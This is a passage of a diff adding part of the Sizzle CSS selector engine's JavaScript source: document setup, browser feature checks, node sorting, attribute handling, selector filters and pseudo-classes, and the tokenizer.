+				if ( seed[ (j = matchIndexes[i]) ] ) {
+					seed[j] = !(matches[j] = seed[j]);
+				}
+			}
+		});
+	});
+}
+
+/**
+ * Checks a node for validity as a Sizzle context
+ * @param {Element|Object=} context
+ * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
+ */
+function testContext( context ) {
+	return context && typeof context.getElementsByTagName !== strundefined && context;
+}
+
+// Expose support vars for convenience
+support = Sizzle.support = {};
+
+/**
+ * Detects XML nodes
+ * @param {Element|Object} elem An element or a document
+ * @returns {Boolean} True iff elem is a non-HTML XML node
+ */
+isXML = Sizzle.isXML = function( elem ) {
+	// documentElement is verified for cases where it doesn't yet exist
+	// (such as loading iframes in IE - #4833)
+	var documentElement = elem && (elem.ownerDocument || elem).documentElement;
+	return documentElement ? documentElement.nodeName !== "HTML" : false;
+};
+
+/**
+ * Sets document-related variables once based on the current document
+ * @param {Element|Object} [doc] An element or document object to use to set the document
+ * @returns {Object} Returns the current document
+ */
+setDocument = Sizzle.setDocument = function( node ) {
+	var hasCompare,
+		doc = node ? node.ownerDocument || node : preferredDoc,
+		parent = doc.defaultView;
+
+	// If no document and documentElement is available, return
+	if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
+		return document;
+	}
+
+	// Set our document
+	document = doc;
+	docElem = doc.documentElement;
+
+	// Support tests
+	documentIsHTML = !isXML( doc );
+
+	// Support: IE>8
+	// If iframe document is assigned to "document" variable and if iframe has been reloaded,
+	// IE will throw "permission denied" error when accessing "document" variable, see jQuery #13936
+	// IE6-8 do not support the defaultView property so parent will be undefined
+	if ( parent && parent !== parent.top ) {
+		// IE11 does not have attachEvent, so all must suffer
+		if ( parent.addEventListener ) {
+			parent.addEventListener( "unload", function() {
+				setDocument();
+			}, false );
+		} else if ( parent.attachEvent ) {
+			parent.attachEvent( "onunload", function() {
+				setDocument();
+			});
+		}
+	}
+
+	/* Attributes
+	---------------------------------------------------------------------- */
+
+	// Support: IE<8
+	// Verify that getAttribute really returns attributes and not properties (excepting IE8 booleans)
+	support.attributes = assert(function( div ) {
+		div.className = "i";
+		return !div.getAttribute("className");
+	});
+
+	/* getElement(s)By*
+	---------------------------------------------------------------------- */
+
+	// Check if getElementsByTagName("*") returns only elements
+	support.getElementsByTagName = assert(function( div ) {
+		div.appendChild( doc.createComment("") );
+		return !div.getElementsByTagName("*").length;
+	});
+
+	// Support: IE<9
+	support.getElementsByClassName = rnative.test( doc.getElementsByClassName );
+
+	// Support: IE<10
+	// Check if getElementById returns elements by name
+	// The broken getElementById methods don't pick up programatically-set names,
+	// so use a roundabout getElementsByName test
+	support.getById = assert(function( div ) {
+		docElem.appendChild( div ).id = expando;
+		return !doc.getElementsByName || !doc.getElementsByName( expando ).length;
+	});
+
+	// ID find and filter
+	if ( support.getById ) {
+		Expr.find["ID"] = function( id, context ) {
+			if ( typeof context.getElementById !== strundefined && documentIsHTML ) {
+				var m = context.getElementById( id );
+				// Check parentNode to catch when Blackberry 4.6 returns
+				// nodes that are no longer in the document #6963
+				return m && m.parentNode ? [ m ] : [];
+			}
+		};
+		Expr.filter["ID"] = function( id ) {
+			var attrId = id.replace( runescape, funescape );
+			return function( elem ) {
+				return elem.getAttribute("id") === attrId;
+			};
+		};
+	} else {
+		// Support: IE6/7
+		// getElementById is not reliable as a find shortcut
+		delete Expr.find["ID"];
+
+		Expr.filter["ID"] =  function( id ) {
+			var attrId = id.replace( runescape, funescape );
+			return function( elem ) {
+				var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id");
+				return node && node.value === attrId;
+			};
+		};
+	}
+
+	// Tag
+	Expr.find["TAG"] = support.getElementsByTagName ?
+		function( tag, context ) {
+			if ( typeof context.getElementsByTagName !== strundefined ) {
+				return context.getElementsByTagName( tag );
+			}
+		} :
+		function( tag, context ) {
+			var elem,
+				tmp = [],
+				i = 0,
+				results = context.getElementsByTagName( tag );
+
+			// Filter out possible comments
+			if ( tag === "*" ) {
+				while ( (elem = results[i++]) ) {
+					if ( elem.nodeType === 1 ) {
+						tmp.push( elem );
+					}
+				}
+
+				return tmp;
+			}
+			return results;
+		};
+
+	// Class
+	Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) {
+		if ( documentIsHTML ) {
+			return context.getElementsByClassName( className );
+		}
+	};
+
+	/* QSA/matchesSelector
+	---------------------------------------------------------------------- */
+
+	// QSA and matchesSelector support
+
+	// matchesSelector(:active) reports false when true (IE9/Opera 11.5)
+	rbuggyMatches = [];
+
+	// qSa(:focus) reports false when true (Chrome 21)
+	// We allow this because of a bug in IE8/9 that throws an error
+	// whenever `document.activeElement` is accessed on an iframe
+	// So, we allow :focus to pass through QSA all the time to avoid the IE error
+	// See http://bugs.jquery.com/ticket/13378
+	rbuggyQSA = [];
+
+	if ( (support.qsa = rnative.test( doc.querySelectorAll )) ) {
+		// Build QSA regex
+		// Regex strategy adopted from Diego Perini
+		assert(function( div ) {
+			// Select is set to empty string on purpose
+			// This is to test IE's treatment of not explicitly
+			// setting a boolean content attribute,
+			// since its presence should be enough
+			// http://bugs.jquery.com/ticket/12359
+			div.innerHTML = "<select msallowcapture=''><option selected=''></option></select>";
+
+			// Support: IE8, Opera 11-12.16
+			// Nothing should be selected when empty strings follow ^= or $= or *=
+			// The test attribute must be unknown in Opera but "safe" for WinRT
+			// http://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section
+			if ( div.querySelectorAll("[msallowcapture^='']").length ) {
+				rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
+			}
+
+			// Support: IE8
+			// Boolean attributes and "value" are not treated correctly
+			if ( !div.querySelectorAll("[selected]").length ) {
+				rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
+			}
+
+			// Webkit/Opera - :checked should return selected option elements
+			// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
+			// IE8 throws error here and will not see later tests
+			if ( !div.querySelectorAll(":checked").length ) {
+				rbuggyQSA.push(":checked");
+			}
+		});
+
+		assert(function( div ) {
+			// Support: Windows 8 Native Apps
+			// The type and name attributes are restricted during .innerHTML assignment
+			var input = doc.createElement("input");
+			input.setAttribute( "type", "hidden" );
+			div.appendChild( input ).setAttribute( "name", "D" );
+
+			// Support: IE8
+			// Enforce case-sensitivity of name attribute
+			if ( div.querySelectorAll("[name=d]").length ) {
+				rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
+			}
+
+			// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
+			// IE8 throws error here and will not see later tests
+			if ( !div.querySelectorAll(":enabled").length ) {
+				rbuggyQSA.push( ":enabled", ":disabled" );
+			}
+
+			// Opera 10-11 does not throw on post-comma invalid pseudos
+			div.querySelectorAll("*,:x");
+			rbuggyQSA.push(",.*:");
+		});
+	}
+
+	if ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||
+		docElem.webkitMatchesSelector ||
+		docElem.mozMatchesSelector ||
+		docElem.oMatchesSelector ||
+		docElem.msMatchesSelector) )) ) {
+
+		assert(function( div ) {
+			// Check to see if it's possible to do matchesSelector
+			// on a disconnected node (IE 9)
+			support.disconnectedMatch = matches.call( div, "div" );
+
+			// This should fail with an exception
+			// Gecko does not error, returns false instead
+			matches.call( div, "[s!='']:x" );
+			rbuggyMatches.push( "!=", pseudos );
+		});
+	}
+
+	rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
+	rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") );
+
+	/* Contains
+	---------------------------------------------------------------------- */
+	hasCompare = rnative.test( docElem.compareDocumentPosition );
+
+	// Element contains another
+	// Purposefully does not implement inclusive descendent
+	// As in, an element does not contain itself
+	contains = hasCompare || rnative.test( docElem.contains ) ?
+		function( a, b ) {
+			var adown = a.nodeType === 9 ? a.documentElement : a,
+				bup = b && b.parentNode;
+			return a === bup || !!( bup && bup.nodeType === 1 && (
+				adown.contains ?
+					adown.contains( bup ) :
+					a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
+			));
+		} :
+		function( a, b ) {
+			if ( b ) {
+				while ( (b = b.parentNode) ) {
+					if ( b === a ) {
+						return true;
+					}
+				}
+			}
+			return false;
+		};
+
+	/* Sorting
+	---------------------------------------------------------------------- */
+
+	// Document order sorting
+	sortOrder = hasCompare ?
+	function( a, b ) {
+
+		// Flag for duplicate removal
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		// Sort on method existence if only one input has compareDocumentPosition
+		var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
+		if ( compare ) {
+			return compare;
+		}
+
+		// Calculate position if both inputs belong to the same document
+		compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
+			a.compareDocumentPosition( b ) :
+
+			// Otherwise we know they are disconnected
+			1;
+
+		// Disconnected nodes
+		if ( compare & 1 ||
+			(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
+
+			// Choose the first element that is related to our preferred document
+			if ( a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {
+				return -1;
+			}
+			if ( b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {
+				return 1;
+			}
+
+			// Maintain original order
+			return sortInput ?
+				( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
+				0;
+		}
+
+		return compare & 4 ? -1 : 1;
+	} :
+	function( a, b ) {
+		// Exit early if the nodes are identical
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		var cur,
+			i = 0,
+			aup = a.parentNode,
+			bup = b.parentNode,
+			ap = [ a ],
+			bp = [ b ];
+
+		// Parentless nodes are either documents or disconnected
+		if ( !aup || !bup ) {
+			return a === doc ? -1 :
+				b === doc ? 1 :
+				aup ? -1 :
+				bup ? 1 :
+				sortInput ?
+				( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
+				0;
+
+		// If the nodes are siblings, we can do a quick check
+		} else if ( aup === bup ) {
+			return siblingCheck( a, b );
+		}
+
+		// Otherwise we need full lists of their ancestors for comparison
+		cur = a;
+		while ( (cur = cur.parentNode) ) {
+			ap.unshift( cur );
+		}
+		cur = b;
+		while ( (cur = cur.parentNode) ) {
+			bp.unshift( cur );
+		}
+
+		// Walk down the tree looking for a discrepancy
+		while ( ap[i] === bp[i] ) {
+			i++;
+		}
+
+		return i ?
+			// Do a sibling check if the nodes have a common ancestor
+			siblingCheck( ap[i], bp[i] ) :
+
+			// Otherwise nodes in our document sort first
+			ap[i] === preferredDoc ? -1 :
+			bp[i] === preferredDoc ? 1 :
+			0;
+	};
+
+	return doc;
+};
+
+Sizzle.matches = function( expr, elements ) {
+	return Sizzle( expr, null, null, elements );
+};
+
+Sizzle.matchesSelector = function( elem, expr ) {
+	// Set document vars if needed
+	if ( ( elem.ownerDocument || elem ) !== document ) {
+		setDocument( elem );
+	}
+
+	// Make sure that attribute selectors are quoted
+	expr = expr.replace( rattributeQuotes, "='$1']" );
+
+	if ( support.matchesSelector && documentIsHTML &&
+		( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
+		( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {
+
+		try {
+			var ret = matches.call( elem, expr );
+
+			// IE 9's matchesSelector returns false on disconnected nodes
+			if ( ret || support.disconnectedMatch ||
+					// As well, disconnected nodes are said to be in a document
+					// fragment in IE 9
+					elem.document && elem.document.nodeType !== 11 ) {
+				return ret;
+			}
+		} catch(e) {}
+	}
+
+	return Sizzle( expr, document, null, [ elem ] ).length > 0;
+};
+
+Sizzle.contains = function( context, elem ) {
+	// Set document vars if needed
+	if ( ( context.ownerDocument || context ) !== document ) {
+		setDocument( context );
+	}
+	return contains( context, elem );
+};
+
+Sizzle.attr = function( elem, name ) {
+	// Set document vars if needed
+	if ( ( elem.ownerDocument || elem ) !== document ) {
+		setDocument( elem );
+	}
+
+	var fn = Expr.attrHandle[ name.toLowerCase() ],
+		// Don't get fooled by Object.prototype properties (jQuery #13807)
+		val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
+			fn( elem, name, !documentIsHTML ) :
+			undefined;
+
+	return val !== undefined ?
+		val :
+		support.attributes || !documentIsHTML ?
+			elem.getAttribute( name ) :
+			(val = elem.getAttributeNode(name)) && val.specified ?
+				val.value :
+				null;
+};
+
+Sizzle.error = function( msg ) {
+	throw new Error( "Syntax error, unrecognized expression: " + msg );
+};
+
+/**
+ * Document sorting and removing duplicates
+ * @param {ArrayLike} results
+ */
+Sizzle.uniqueSort = function( results ) {
+	var elem,
+		duplicates = [],
+		j = 0,
+		i = 0;
+
+	// Unless we *know* we can detect duplicates, assume their presence
+	hasDuplicate = !support.detectDuplicates;
+	sortInput = !support.sortStable && results.slice( 0 );
+	results.sort( sortOrder );
+
+	if ( hasDuplicate ) {
+		while ( (elem = results[i++]) ) {
+			if ( elem === results[ i ] ) {
+				j = duplicates.push( i );
+			}
+		}
+		while ( j-- ) {
+			results.splice( duplicates[ j ], 1 );
+		}
+	}
+
+	// Clear input after sorting to release objects
+	// See https://github.com/jquery/sizzle/pull/225
+	sortInput = null;
+
+	return results;
+};
+
+/**
+ * Utility function for retrieving the text value of an array of DOM nodes
+ * @param {Array|Element} elem
+ */
+getText = Sizzle.getText = function( elem ) {
+	var node,
+		ret = "",
+		i = 0,
+		nodeType = elem.nodeType;
+
+	if ( !nodeType ) {
+		// If no nodeType, this is expected to be an array
+		while ( (node = elem[i++]) ) {
+			// Do not traverse comment nodes
+			ret += getText( node );
+		}
+	} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
+		// Use textContent for elements
+		// innerText usage removed for consistency of new lines (jQuery #11153)
+		if ( typeof elem.textContent === "string" ) {
+			return elem.textContent;
+		} else {
+			// Traverse its children
+			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
+				ret += getText( elem );
+			}
+		}
+	} else if ( nodeType === 3 || nodeType === 4 ) {
+		return elem.nodeValue;
+	}
+	// Do not include comment or processing instruction nodes
+
+	return ret;
+};
+
+Expr = Sizzle.selectors = {
+
+	// Can be adjusted by the user
+	cacheLength: 50,
+
+	createPseudo: markFunction,
+
+	match: matchExpr,
+
+	attrHandle: {},
+
+	find: {},
+
+	relative: {
+		">": { dir: "parentNode", first: true },
+		" ": { dir: "parentNode" },
+		"+": { dir: "previousSibling", first: true },
+		"~": { dir: "previousSibling" }
+	},
+
+	preFilter: {
+		"ATTR": function( match ) {
+			match[1] = match[1].replace( runescape, funescape );
+
+			// Move the given value to match[3] whether quoted or unquoted
+			match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape );
+
+			if ( match[2] === "~=" ) {
+				match[3] = " " + match[3] + " ";
+			}
+
+			return match.slice( 0, 4 );
+		},
+
+		"CHILD": function( match ) {
+			/* matches from matchExpr["CHILD"]
+				1 type (only|nth|...)
+				2 what (child|of-type)
+				3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
+				4 xn-component of xn+y argument ([+-]?\d*n|)
+				5 sign of xn-component
+				6 x of xn-component
+				7 sign of y-component
+				8 y of y-component
+			*/
+			match[1] = match[1].toLowerCase();
+
+			if ( match[1].slice( 0, 3 ) === "nth" ) {
+				// nth-* requires argument
+				if ( !match[3] ) {
+					Sizzle.error( match[0] );
+				}
+
+				// numeric x and y parameters for Expr.filter.CHILD
+				// remember that false/true cast respectively to 0/1
+				match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
+				match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );
+
+			// other types prohibit arguments
+			} else if ( match[3] ) {
+				Sizzle.error( match[0] );
+			}
+
+			return match;
+		},
+
+		"PSEUDO": function( match ) {
+			var excess,
+				unquoted = !match[6] && match[2];
+
+			if ( matchExpr["CHILD"].test( match[0] ) ) {
+				return null;
+			}
+
+			// Accept quoted arguments as-is
+			if ( match[3] ) {
+				match[2] = match[4] || match[5] || "";
+
+			// Strip excess characters from unquoted arguments
+			} else if ( unquoted && rpseudo.test( unquoted ) &&
+				// Get excess from tokenize (recursively)
+				(excess = tokenize( unquoted, true )) &&
+				// advance to the next closing parenthesis
+				(excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
+
+				// excess is a negative index
+				match[0] = match[0].slice( 0, excess );
+				match[2] = unquoted.slice( 0, excess );
+			}
+
+			// Return only captures needed by the pseudo filter method (type and argument)
+			return match.slice( 0, 3 );
+		}
+	},
+
+	filter: {
+
+		"TAG": function( nodeNameSelector ) {
+			var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
+			return nodeNameSelector === "*" ?
+				function() { return true; } :
+				function( elem ) {
+					return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
+				};
+		},
+
+		"CLASS": function( className ) {
+			var pattern = classCache[ className + " " ];
+
+			return pattern ||
+				(pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
+				classCache( className, function( elem ) {
+					return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== strundefined && elem.getAttribute("class") || "" );
+				});
+		},
+
+		"ATTR": function( name, operator, check ) {
+			return function( elem ) {
+				var result = Sizzle.attr( elem, name );
+
+				if ( result == null ) {
+					return operator === "!=";
+				}
+				if ( !operator ) {
+					return true;
+				}
+
+				result += "";
+
+				return operator === "=" ? result === check :
+					operator === "!=" ? result !== check :
+					operator === "^=" ? check && result.indexOf( check ) === 0 :
+					operator === "*=" ? check && result.indexOf( check ) > -1 :
+					operator === "$=" ? check && result.slice( -check.length ) === check :
+					operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 :
+					operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
+					false;
+			};
+		},
+
+		"CHILD": function( type, what, argument, first, last ) {
+			var simple = type.slice( 0, 3 ) !== "nth",
+				forward = type.slice( -4 ) !== "last",
+				ofType = what === "of-type";
+
+			return first === 1 && last === 0 ?
+
+				// Shortcut for :nth-*(n)
+				function( elem ) {
+					return !!elem.parentNode;
+				} :
+
+				function( elem, context, xml ) {
+					var cache, outerCache, node, diff, nodeIndex, start,
+						dir = simple !== forward ? "nextSibling" : "previousSibling",
+						parent = elem.parentNode,
+						name = ofType && elem.nodeName.toLowerCase(),
+						useCache = !xml && !ofType;
+
+					if ( parent ) {
+
+						// :(first|last|only)-(child|of-type)
+						if ( simple ) {
+							while ( dir ) {
+								node = elem;
+								while ( (node = node[ dir ]) ) {
+									if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {
+										return false;
+									}
+								}
+								// Reverse direction for :only-* (if we haven't yet done so)
+								start = dir = type === "only" && !start && "nextSibling";
+							}
+							return true;
+						}
+
+						start = [ forward ? parent.firstChild : parent.lastChild ];
+
+						// non-xml :nth-child(...) stores cache data on `parent`
+						if ( forward && useCache ) {
+							// Seek `elem` from a previously-cached index
+							outerCache = parent[ expando ] || (parent[ expando ] = {});
+							cache = outerCache[ type ] || [];
+							nodeIndex = cache[0] === dirruns && cache[1];
+							diff = cache[0] === dirruns && cache[2];
+							node = nodeIndex && parent.childNodes[ nodeIndex ];
+
+							while ( (node = ++nodeIndex && node && node[ dir ] ||
+
+								// Fallback to seeking `elem` from the start
+								(diff = nodeIndex = 0) || start.pop()) ) {
+
+								// When found, cache indexes on `parent` and break
+								if ( node.nodeType === 1 && ++diff && node === elem ) {
+									outerCache[ type ] = [ dirruns, nodeIndex, diff ];
+									break;
+								}
+							}
+
+						// Use previously-cached element index if available
+						} else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) {
+							diff = cache[1];
+
+						// xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...)
+						} else {
+							// Use the same loop as above to seek `elem` from the start
+							while ( (node = ++nodeIndex && node && node[ dir ] ||
+								(diff = nodeIndex = 0) || start.pop()) ) {
+
+								if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) {
+									// Cache the index of each encountered element
+									if ( useCache ) {
+										(node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ];
+									}
+
+									if ( node === elem ) {
+										break;
+									}
+								}
+							}
+						}
+
+						// Incorporate the offset, then check against cycle size
+						diff -= last;
+						return diff === first || ( diff % first === 0 && diff / first >= 0 );
+					}
+				};
+		},
+
+		"PSEUDO": function( pseudo, argument ) {
+			// pseudo-class names are case-insensitive
+			// http://www.w3.org/TR/selectors/#pseudo-classes
+			// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
+			// Remember that setFilters inherits from pseudos
+			var args,
+				fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
+					Sizzle.error( "unsupported pseudo: " + pseudo );
+
+			// The user may use createPseudo to indicate that
+			// arguments are needed to create the filter function
+			// just as Sizzle does
+			if ( fn[ expando ] ) {
+				return fn( argument );
+			}
+
+			// But maintain support for old signatures
+			if ( fn.length > 1 ) {
+				args = [ pseudo, pseudo, "", argument ];
+				return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
+					markFunction(function( seed, matches ) {
+						var idx,
+							matched = fn( seed, argument ),
+							i = matched.length;
+						while ( i-- ) {
+							idx = indexOf.call( seed, matched[i] );
+							seed[ idx ] = !( matches[ idx ] = matched[i] );
+						}
+					}) :
+					function( elem ) {
+						return fn( elem, 0, args );
+					};
+			}
+
+			return fn;
+		}
+	},
+
+	pseudos: {
+		// Potentially complex pseudos
+		"not": markFunction(function( selector ) {
+			// Trim the selector passed to compile
+			// to avoid treating leading and trailing
+			// spaces as combinators
+			var input = [],
+				results = [],
+				matcher = compile( selector.replace( rtrim, "$1" ) );
+
+			return matcher[ expando ] ?
+				markFunction(function( seed, matches, context, xml ) {
+					var elem,
+						unmatched = matcher( seed, null, xml, [] ),
+						i = seed.length;
+
+					// Match elements unmatched by `matcher`
+					while ( i-- ) {
+						if ( (elem = unmatched[i]) ) {
+							seed[i] = !(matches[i] = elem);
+						}
+					}
+				}) :
+				function( elem, context, xml ) {
+					input[0] = elem;
+					matcher( input, null, xml, results );
+					return !results.pop();
+				};
+		}),
+
+		"has": markFunction(function( selector ) {
+			return function( elem ) {
+				return Sizzle( selector, elem ).length > 0;
+			};
+		}),
+
+		"contains": markFunction(function( text ) {
+			text = text.replace( runescape, funescape );
+			return function( elem ) {
+				return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
+			};
+		}),
+
+		// "Whether an element is represented by a :lang() selector
+		// is based solely on the element's language value
+		// being equal to the identifier C,
+		// or beginning with the identifier C immediately followed by "-".
+		// The matching of C against the element's language value is performed case-insensitively.
+		// The identifier C does not have to be a valid language name."
+		// http://www.w3.org/TR/selectors/#lang-pseudo
+		"lang": markFunction( function( lang ) {
+			// lang value must be a valid identifier
+			if ( !ridentifier.test(lang || "") ) {
+				Sizzle.error( "unsupported lang: " + lang );
+			}
+			lang = lang.replace( runescape, funescape ).toLowerCase();
+			return function( elem ) {
+				var elemLang;
+				do {
+					if ( (elemLang = documentIsHTML ?
+						elem.lang :
+						elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) {
+
+						elemLang = elemLang.toLowerCase();
+						return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
+					}
+				} while ( (elem = elem.parentNode) && elem.nodeType === 1 );
+				return false;
+			};
+		}),
+
+		// Miscellaneous
+		"target": function( elem ) {
+			var hash = window.location && window.location.hash;
+			return hash && hash.slice( 1 ) === elem.id;
+		},
+
+		"root": function( elem ) {
+			return elem === docElem;
+		},
+
+		"focus": function( elem ) {
+			return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
+		},
+
+		// Boolean properties
+		"enabled": function( elem ) {
+			return elem.disabled === false;
+		},
+
+		"disabled": function( elem ) {
+			return elem.disabled === true;
+		},
+
+		"checked": function( elem ) {
+			// In CSS3, :checked should return both checked and selected elements
+			// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
+			var nodeName = elem.nodeName.toLowerCase();
+			return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
+		},
+
+		"selected": function( elem ) {
+			// Accessing this property makes selected-by-default
+			// options in Safari work properly
+			if ( elem.parentNode ) {
+				elem.parentNode.selectedIndex;
+			}
+
+			return elem.selected === true;
+		},
+
+		// Contents
+		"empty": function( elem ) {
+			// http://www.w3.org/TR/selectors/#empty-pseudo
+			// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
+			//   but not by others (comment: 8; processing instruction: 7; etc.)
+			// nodeType < 6 works because attributes (2) do not appear as children
+			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
+				if ( elem.nodeType < 6 ) {
+					return false;
+				}
+			}
+			return true;
+		},
+
+		"parent": function( elem ) {
+			return !Expr.pseudos["empty"]( elem );
+		},
+
+		// Element/input types
+		"header": function( elem ) {
+			return rheader.test( elem.nodeName );
+		},
+
+		"input": function( elem ) {
+			return rinputs.test( elem.nodeName );
+		},
+
+		"button": function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return name === "input" && elem.type === "button" || name === "button";
+		},
+
+		"text": function( elem ) {
+			var attr;
+			return elem.nodeName.toLowerCase() === "input" &&
+				elem.type === "text" &&
+
+				// Support: IE<8
+				// New HTML5 attribute values (e.g., "search") appear with elem.type === "text"
+				( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" );
+		},
+
+		// Position-in-collection
+		"first": createPositionalPseudo(function() {
+			return [ 0 ];
+		}),
+
+		"last": createPositionalPseudo(function( matchIndexes, length ) {
+			return [ length - 1 ];
+		}),
+
+		"eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			return [ argument < 0 ? argument + length : argument ];
+		}),
+
+		"even": createPositionalPseudo(function( matchIndexes, length ) {
+			var i = 0;
+			for ( ; i < length; i += 2 ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"odd": createPositionalPseudo(function( matchIndexes, length ) {
+			var i = 1;
+			for ( ; i < length; i += 2 ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			var i = argument < 0 ? argument + length : argument;
+			for ( ; --i >= 0; ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			var i = argument < 0 ? argument + length : argument;
+			for ( ; ++i < length; ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		})
+	}
+};
+
+Expr.pseudos["nth"] = Expr.pseudos["eq"];
+
+// Add button/input type pseudos
+for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
+	Expr.pseudos[ i ] = createInputPseudo( i );
+}
+for ( i in { submit: true, reset: true } ) {
+	Expr.pseudos[ i ] = createButtonPseudo( i );
+}
+
+// Easy API for creating new setFilters
+function setFilters() {}
+setFilters.prototype = Expr.filters = Expr.pseudos;
+Expr.setFilters = new setFilters();
+
+tokenize = Sizzle.tokenize = function( selector, parseOnly ) {
+	var matched, match, tokens, type,
+		soFar, groups, preFilters,
+		cached = tokenCache[ selector + " " ];
+
+	if ( cached ) {
+		return parseOnly ? 0 : cached.slice( 0 );
+	}
+
+	soFar = selector;
+	groups = [];
+	preFilters = Expr.preFilter;
+
+	while ( soFar ) {
+
+		// Comma and first run
+		if ( !matched || (match = rcomma.exec( soFar )) ) {
+			if ( match ) {
+				// Don't consume trailing commas as valid
+				soFar = soFar.slice( match[0].length ) || soFar;
+			}
+			groups.push( (tokens = []) );
+		}
+
+		matched = false;
+
+		// Combinators
+		if ( (match = rcombinators.exec( soFar )) ) {
+			matched = match.shift();
+			tokens.push({
+				value: matched,
+				// Cast descendant combinators to space
+				type: match[0].replace( rtrim, " " )
+			});
+			soFar = soFar.slice( matched.length );
+		}
+
+		// Filters
+		for ( type in Expr.filter ) {
+			if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
+				(match = preFilters[ type ]( match ))) ) {
+				matched = match.shift();
+				tokens.push({
+					value: matched,
+					type: type,
+					matches: match
+				});
+				soFar = soFar.slice( matched.length );
+			}
+		}
+
+		if ( !matched ) {
+			break;
+		}
+	}
+
+	// Return the length of the invalid excess
+	// if we're just parsing
+	// Otherwise, throw an error or return tokens
+	return parseOnly ?
+		soFar.length :
+		soFar ?
+			Sizzle.error( selector ) :
+			// Cache the tokens
+			tokenCache( selector, groups ).slice( 0 );
+};
+
+function toSelector( tokens ) {
+	var i = 0,
+		len = tokens.length,
+		selector = "";
+	for ( ; i < len; i++ ) {
+		selector += tokens[i].value;
+	}
+	return selector;
+}
+
+function addCombinator( matcher, combinator, base ) {
+	var dir = combinator.dir,
+		checkNonElements = base && dir === "parentNode",
+		doneName = done++;
+
+	return combinator.first ?
+		// Check against closest ancestor/preceding element
+		function( elem, context, xml ) {
+			while ( (elem = elem[ dir ]) ) {
+				if ( elem.nodeType === 1 || checkNonElements ) {
+					return matcher( elem, context, xml );
+				}
+			}
+		} :
+
+		// Check against all ancestor/preceding elements
+		function( elem, context, xml ) {
+			var oldCache, outerCache,
+				newCache = [ dirruns, doneName ];
+
+			// We can't set arbitrary data on XML nodes, so they don't benefit from dir caching
+			if ( xml ) {
+				while ( (elem = elem[ dir ]) ) {
+					if ( elem.nodeType === 1 || checkNonElements ) {
+						if ( matcher( elem, context, xml ) ) {
+							return true;
+						}
+					}
+				}
+			} else {
+				while ( (elem = elem[ dir ]) ) {
